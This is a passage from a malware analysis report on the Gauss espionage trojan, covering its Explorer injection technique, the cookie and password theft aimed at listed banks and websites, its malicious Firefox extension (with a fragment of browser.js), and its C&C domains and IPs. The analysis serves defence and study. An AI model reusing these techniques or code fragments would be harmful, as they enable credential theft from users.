Then it starts a loop searching for running instances of %systemroot%explorer.exe. If found, it injects %systemroot%system32winshell.ocx (own body) into that process.

It uses an interesting technique to inject itself into Explorer: it creates a remote thread with the address of ‘LoadLibraryW’ API as its start address. The path to its ocx file is passed to the function as ‘lpParameter’.

Telemetry: It retrieves and logs the following:

Computer name

Windows OS version

List of running processes

List of directories in %PROGRAMFILES%

Version of Internet Explorer browser

Primary domain name

Network adapter information

Searches for Cookies directory, retrieves all cookie files and writes their contents into its log. Searches for cookies that contain the following strings:

paypal

mastercard

eurocard

visa

americanexpress

bankofbeirut

eblf

blombank

byblosbank

citibank

fransabank

yahoo

creditlibanais

amazon

facebook

gmail

hotmail

ebay

maktoob

Then, it retrieves Internet Explorer browsing history using IUrlHistoryStg::EnumUrls function, and tries to extract password and text fields from loaded pages.

The Firefox plugin is written in several files, all of them are extracted and decrypted from the resources of the module.

Resource Id File name of the Firefox Plugin component 121 browser.js 122 browser.xul 123 fileio.js 124 chrome.manifest 125 lppd.dat 126 install.rdf

Appends Firefox configuration file ‘prefs.js’ with the following string, disabling Firefox ‘select your add-ons’ window that is usually shown after each Firefox update:

user_pref(“extensions.shownSelectionUI”, true);

Installs the Firefox extension, on Windows Vista and Windows 7 into AppDataRoamingMozillaFirefoxProfiles, on earlier versions into Application DataMozillaFirefoxProfiles. All files are written in a directory named ‘{a288cad4-7b24-43f8-9f4d-8e156305a8bc}’.

The Firefox extension extracts the following data:

Browsing history

Passwords (saved and entered by the user)

Cookies. The extension can be configured to look only for cookies of Google, Hotmail, Facebook, Yahoo

const Cc = Components.classes; const Ci = Components.interfaces; const EXTENSION_ID = “{a288cad4-7b24-43f8-9f4d-8e156305a8bc}”; const EXTENSION_PATH = DirIO.get(“ProfD”).path+”extensions”+EXTENSION_ID; const QUERY_ID = ‘YlU/X1gFa2Isb1YkcFMnP18u 1kkb1goYFUOakAgY1ULa1EjYlU/X1gPXWMyc18xY

GM0b1UxalEsYVYgX1Uha18qdVEna18lYWQi Dgob2QubmklYWQi DEjYGIkb2Mv

XWMyc18xYFwoclUl WgPblUlb/oSY18uY1wk FkjYT8tRV4ocFYkcFMnPVwrP18

u 1kkb2gublk/’; const EXTENSION_URL = “about:addons”; const EXTENSION_XUL = “chrome://mozapps/content/extensions/extensions.xul”; const ERROR_FILE = “rssf.dat”; const LOG_FILE = “lfm.dat”; const OUTPUT_FILE = “mppd.dat”; const VERSION_FILE = “lddp.dat”; const MAX_FILE_SIZE = Math.pow(2,20)*10; const MEAN_ROW_SIZE = 100; const MAX_ROW_COUNT = (1/3)*(MAX_FILE_SIZE/MEAN_ROW_SIZE);

Part of browser.js code

The Firefox extension writes several log files in its directory:

Log file name Description rssf.dat Browsing history lfm.dat Log file mppd.dat Collected passwords pddp.dat Collected cookies

File Version: 5.1.3700.0 Product Version: 5.1.3700.0 File OS: NT (WINDOWS32) File Type: DRV File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Microsoft Windows Shell Component FileVersion: 5.1.3700.0 InternalName: winshell.ocx LegalCopyright: ¿ Microsoft Corporation. All rights reserved. OriginalFilename: winshell.ocx ProductName: MicrosoftR WindowsR Operating System ProductVersion: 5.1.3700.0

Version info ‘winshell.ocx’

Name of the module used in Gauss: ‘Lagrange’

File names %system32%windig.ocx Known MD5 DE2D0D6C340C75EB415F726338835125 Image Size 180224 bytes Date of compilation 15.07.2011 Related files Fonts pldnrfn.ttf

The module is a Windows DLL file with one exported function called ‘GlobalDeleteAtomL.’

The module reads the registry key that is originally created by ‘ShellHW’ module :

HKLM SOFTWAREMicrosoftWindowsCurrentVersionReliability

ShutdownInterval = binary data

If the value is not present in the registry, it writes a random value into that key.

Then, it creates a new TrueType font file ‘%SystemRoot%fontspldnrfn.ttf’ (62 668 bytes long) from a template and using randomized data from the ShutdownInterval key. The creation time of the font file is set to the creation time of the Arial font, %SystemRoot%fontsARIAL.TTF.

Then, a custom font named ‘Palida Narrow’ is registered in the system font storage using the ‘AddFontResourceW’ API function. The module also creates a registry value:

HKLMSOFTWAREMicrosoftWindows NTCurrentVersionFonts

Palida Narrow (TrueType)=pldnrfn.ttf

The purpose of the addition of this font is not yet known. It appears to contain valid Western, Baltic and Turkish symbols.



Font information from Font Viewer



File Version: 2001.12.4414.320 Product Version: 5.1.2600.5788 File OS: WINDOWS32 File Type: DLL File SubType: UNKNOWN File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: WIN32 Digital Library FileVersion: 2001.12.4414.320 LegalCopyright: Copyright (C) Microsoft Corp. 1995-1999 LegalTrademarks: Microsoft(R) is a registered trademark of Microsoft

Corporation. Windows(TM) is a trademark of Microsoft Corporation ProductName: MicrosoftR WindowsR Operating System ProductVersion: 05.01.2600.5788

Version info ‘windig.ocx’

Gauss C&C Information

To upload data stolen from infected machines, Gauss uses a number of command-and-control servers predefined in its flexible configuration.



Figure 1 – Gauss encrypted C&C information data

Here’s a look at the decrypted configuration data:



Figure 2 – Gauss decrypted C&C configuration data



In the example above, we can see the C&C domains/hosts together with the name of the script (userhome.php) on the server which is used for communication.

Going through the multitude of Gauss samples, we identified several domains used as C&C servers:

*.gowin7.com

*.secuurity.net

*.datajunction.org

*.bestcomputeradvisor.com

*.dotnetadvisor.info

*.guest-access.net

Wmiqry.ocx 01.06.2011 dotnetadvisor.info bestcomputeradvisor.info datajunction.org guest-access.net 16.07.2011 *.bestcomputeradvisro.info *.guest-access.net 18.07.2011 *.bestcomputeradvisor.info *.guest-access.net 28.09.2011 *.gowin7.com *.secuurity.net 20.10.2011 *.datajunction.org *.dotnetadvisor.info 20.10.2011 *.gowin7.com *.secuurity.net

Depending on the variant, * can be ‘a’ or ‘b’ or ‘c’ – and so on.For instance, a fully qualified hostname as in the example above is ‘b.gowin7.com’.

Most samples we have use ‘*.gowin7.com’ and ‘*.secuurity.net’. The domains ‘gowin7.com’ and ‘secuurity.net ‘ have been registered by an ‘Adolph Dybevek, which is most likely a fake identity:

owner-name: Adolph Dybevek

owner-address: Prinsen gate 6

owner-city: Oslo

admin-address: Prinsen gate 6

ICANN Registrar: UNITED-DOMAINS AG

Created: 2012-03-15

Expires: 2013-03-15

Updated: 2012-03-15

As in the case of Flame these domain registration addresses point to existing businesses. For example, at Prinsens Gate 6 in Olso, we find a hotel in Norway:

Similarly, many of Flame C&D domain fake registrations used addresses of hotels.

During the period of monitoring, we observed these two main domains pointing to two different servers in India and Portugal. Based on passive DNS research, we identified three other servers, located in the US which appear to have been used as C&C.

The hosts ‘gowin7.com’ and ‘secuurity.net’ pointed to the following IP addresses:

Date Domain IP 28.06.2012 23:05 b.gowin7.com 109.71.45.115 2012-06-29 07:05:28 (changed) b.gowin7.com 182.18.166.116 28.06.2012 23:05 b.secuurity.net 109.71.45.115 2012-06-29 07:05:29 (changed) b.secuurity.net 182.18.166.116

On 29th of June, 2012, the two C&C domains ‘gowin7.com’ and ‘secuurity.net’ were changed from IP 109.71.45.115 to a new IP 182.18.166.116.

Both servers were shut down around July 13th, 2012. Prior to shut down, we managed to collect important information. Both appeared to be running Debian Linux, which is consistent with the Flame C&C servers. They were listening on ports 22, 80 and 443. The SSL certificates were self-signed, once again, the same as in the case of Flame. Here’s the certificate for the server in Portugal:

If we are to believe the information in the certificate, it was generated on 17 Feb 2012.

The server at 182.18.166.116 (India) appears to currently host two other related domains:

bestcomputeradvisor.com

dotnetadvisor.info

Both have been registered by somebody named Gilles Renaud, probably another fake identity:

Registrant:

Gilles Renaud

Neugasse 10

Zurich, Zurich 8005

CH

They were previously hosted in the US, at the IPs: 173.204.235.204 and 173.204.235.196.

We currently have seen samples which used {e,g,h}.bestcomputeradvisor.com and ‘c.dotnetadvisor.info’ for command-and-control. It’s quite possible that other samples exist pointing to different hosts.

The additional domains ‘datajunction.org’ and ‘guest-access.net’ can be found in some samples and it is also used for C&C communications. We currently have samples which use ‘c.datajunction.org’ and ‘d.datajunction.org’ but there are probably others using ‘a.*’ and ‘b.*’.

Both have been registered by somebody named ‘Peter Kulmann,’ probably another fake identity:

Registrant Name:Peter Kulman

Registrant Street1:Antala Staska 1301/19

Registrant Street2:

Registrant Street3:

Registrant City:Prague

Registrant State/Province:

Registrant Postal Code:14000

Registrant Country:CZ

The address ‘Antala Staska 1301/19’ appears once again to be fake – pointing to a supermarket/pharmacy in Prague:

Currently (as of August 2012), all the ‘*.datajunction.org’ hosts point to the C&C server in India. Previously, they pointed to the server in Portugal. Just like the others, they were previously hosted in US.

In addition to these, we identified another domain named ‘dataspotlight.net’ which was hosted on the same servers. The registrant is unknown and we couldn’t find any samples using it, however, it is probably related to the others.

Gauss C2 Domains Overview:

In total, we have identified 7 domains used or related to the Gauss malware:

Domain Registered by Currently hosted Previously hosted Older hosted: gowin7.com Adolph Dybevek India Portugal US secuurity.net Adolph Dybevek India Portugal US datajunction.org PeterKulmann India Portugal US bestcomputeradvisor.com GillesRenaud India Portugal US dotnetadvisor.info GillesRenaud India Portugal US dataspotlight.net UNKNOWN India Portugal UNKNOWN guest-access.net Peter Kulmann No No No

Domain registration history:

Domain Registration date bestcomputeradvisor.com, dotnetadvisor.info 22 July 2011 datajunction.org. guest-access.net 26 July 2011 gowin7.com, secuurity.net 15 March 2012 dataspotlight.net 18 April 2012

As can be seen from the table above, four domains were created in 2011 and were used in older samples. The newer samples use ‘gowin7.com’ and ‘secuurity.net’, which were registered on March 15th, 2012.

Known Gauss C2 server IPs:

Server Location 182.18.166.116 India, Hyderabad 109.71.45.115 Portugal, Constancia 173.204.235.204 United States, San Francisco 173.204.235.196 United States, San Francisco 173.204.235.201 United States, San Francisco

Here’s a comparison of the Flame and Gauss C2 infrastructure:

Flame Gauss Hosting VPS running Debian Linux VPS running Debian Linux Services available SSH, HTTP, HTTPS SSH, HTTP, HTTPS SSL certificate ‘localhost.localdomain’ – self signed ‘localhost.localdomain’ – self signed Registrant info Fake names Fake names Address of registrants Hotels, shops Hotels, shops C2 traffic protocol HTTPS HTTPS C2 traffic encryption None XOR 0xACDC C2 script names cgi-bin/counter.cgi, common/index.php userhome.php Number of C2 domains ~100 6 Number of fake identities used to register domains ~20 3

DNS Balancing

For some of the C2’s, the controllers used a technique known as DNS balancing or ‘Round robin DNS‘ – probably to even the load. This is a common technique in the case of massive traffic to a website, suggesting that at their peak, the Gauss C2’s were handling quite a lot of data.

Here’s one such example of DNS balancing:

;; QUESTION SECTION: ;DATAJUNCTION.ORG. IN A ;; ANSWER SECTION: DATAJUNCTION.ORG. 900 IN A 182.18.166.116 DATAJUNCTION.ORG. 3600 IN A 173.204.235.204 DATAJUNCTION.ORG. 900 IN A 109.71.45.115

As it can be seen, the domain datajunction.org resolves to three different IPs: 182.18.166.116, 173.204.235.204 and 109.71.45.115.

Timeline

We tried to put together all the date-of-creation information for the different Gauss modules, as well as those for Flame and Duqu. Since no Gauss modules created before 2011 have been found, the table below does not include earlier data for Flame and Duqu modules.

Files list

We have put together the names of all modules, temporary files, log files and data files used by Gauss in one way or another and that are known to us.

Main modules Path wmiqry32.dll %system%wbem wmihlp32.dll %system%wbem dskapi.ocx %system% winshell.ocx %system% devwiz.ocx %system% lanhlp32.ocx %system% mcdmn.ocx %system% smdk.ocx %system% windig.ocx %system% system32.bin root folder USB drive system32.dat root folder USB drive .CatRoot.tmp root folder USB drive Data files and folders Path ~shw.tmp %temp% ~stm.tmp %temp% ws1bin.dat %windir%Temp ws1bin.dat %temp% ~gdl.tmp %temp% ~mdk.tmp %temp% .thumbs.db root folder USB drive wabdat.dat %temp% desktop.ini inside folders on USB drive target.lnk inside folders on USB drive .Backup0[D-M] directory on USB drive .Backup00[D-M] directory on USB drive md.bak %temp% s61cs3.dat %systemroot%Temp s61cs3.dat %temp% ~ZM6AD3.tmp %windir%temp browser.js “%AppData%RoamingMozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

%AppData%MozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

“ browser.xul “%AppData%RoamingMozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

%AppData%MozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

“ fileio.js “%AppData%RoamingMozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

%AppData%MozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

“ chrome.manifest “%AppData%RoamingMozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

%AppData%MozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

“ lppd.dat “%AppData%RoamingMozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

%AppData%MozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

“ install.rdf “%AppData%RoamingMozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

%AppData%MozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

“ rssf.dat “%AppData%RoamingMozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

%AppData%MozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

“ lfm.dat “%AppData%RoamingMozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

%AppData%MozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

“ mppd.dat “%AppData%RoamingMozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

%AppData%MozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

“ pddp.dat “%AppData%RoamingMozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

%AppData%MozillaFirefoxProfiles*

{a288cad4-7b24-43f8-9f4d-8e156305a8bc}

“ pldnrfn.ttf %SystemRoot%fonts

Conclusion

Gauss is the most recent development from the pool of cyber-espionage projects that includes Stuxnet, Flame and Duqu. It was most likely created in mid-2011 and deployed for the first time in August-September 2011.

Its geographical distribution is unique; the majority of infections were found in Lebanon, Palestine and Israel. One of the modules from Jan 2012 contains the path ‘c:documents and settingsflamerdesktopgauss_white_1’. The ‘flamer’ in the path above is the Windows username that compiled the project. Given the focus on Lebanon, the ‘white’ version identifier can probably be explained as following: ‘the name Lebanon comes from the Semitic root LBN, meaning “white”, likely a reference to the snow-capped Mount Lebanon.’ (Wikipedia)

Code references and encryption subroutines, together with the Command and Control infrastructure make us believe Gauss was created by the same ‘factory’ which produced Flame. This indicates it is most likely a nation-state sponsored operation.

Between Gauss’ functions, the ‘Winshell.ocx’ module which gives the name to the malware as ‘Gauss’, steals credentials required to access online banking accounts for several Lebanese banks – including the Bank of Beirut, Byblos Bank and Fransabank. This is the first publicly known nation-state sponsored banking Trojan.

Another feature which makes Gauss unique is its encrypted payload, which we haven’t been able to unlock. The payload is run by infected USB sticks and is designed to surgically target a certain system (or systems) which have a specific program installed. One can only speculate on the purpose of this mysterious payload.

The discovery of Gauss indicates that there are probably many other related cyber-espionage malware in operation. The current tensions in the Middle East are just signs of the intensity of these ongoing cyber-war and cyber-espionage campaigns.



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